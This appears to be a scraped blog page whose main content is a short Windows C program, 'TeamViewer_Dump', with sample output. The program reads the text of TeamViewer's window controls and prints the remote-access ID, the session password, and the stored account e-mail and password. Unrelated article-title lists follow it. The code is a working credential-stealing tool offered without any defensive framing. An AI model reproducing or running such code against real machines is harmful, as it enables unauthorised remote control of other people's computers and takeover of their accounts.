#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
} if (strstr(BufferContent, "Allow Remote Control") != NULL)
{
status = 1;
printf("TeamViewer ID: ");
} if (strstr(BufferContent, "Please tell your partner") != NULL)
{
status = 1;
printf("TeamViewer PASS: ");
} return 1;
} BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
} if (strstr(BufferContent, "E-mail") != NULL)
{
status = 1;
printf("E-mail: ");
} if (strstr(BufferContent, "Password") != NULL)
{
status = 1;
printf("Password: ");
} return 1;
} int main()
{
HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer)
{
EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
} HWND hwndAccount = FindWindow(NULL, "Computers & Contacts"); if (hwndAccount)
{
EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
} return 0;
}

C:\tools\Projects>TeamViewer_Dump.exe

TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

最新文章

  1. yii2-basic后台管理功能开发之三:自定义GridView列显示
  2. virtualBox下面安装linux系统如何共享目录
  3. rpm -qc 来查找安装包的配置文件
  4. HighchartsJS创建环形带标识的图表实例
  5. iOS是怎么&quot;绘画&quot;的?
  6. 利用python 获取 windows 组策略
  7. python 递归函数
  8. 关于ubuntu上执行错误命令报错
  9. SE 2014年5月22日
  10. Android分屏显示LogCat
  11. 一个view相对于屏幕或者另外一个view 的坐标
  12. C语言 &#183; 区间K大数查询
  13. (转)Unity3D移动平台动态读取外部文件全解析
  14. Python:解析PDF文本及表格——pdfminer、tabula、pdfplumber 的用法及对比
  15. Python——Django-模板
  16. CSU 1684-Disastrous Downtime
  17. MFC入门(三)-- MFC图片/文字控件(循环显示文字和图片的小程序)
  18. 网络编程 -- RPC实现原理 -- Netty -- 迭代版本V3 -- 编码解码
  19. 【COGS2479】 HZOI2016—偏序
  20. Android Studio 打包时 Signature Version 选择 V1 V2 说明

热门文章

  1. android实现卸载提示
  2. jmGraph:一个基于html5的简单画图组件
  3. SharePoint解决方案及开发系列(2)-ECM
  4. JavaWeb 之文件上传
  5. MySql 的备份与恢复
  6. 【题解】Journeys(线段树优化连边)
  7. MySQL权限系统(一).The MySQL Access Privilege System 概述
  8. Django 之 信号机制
  9. 测试开发面试的Linux面试题:常用命令
  10. Java基础—Java运行原理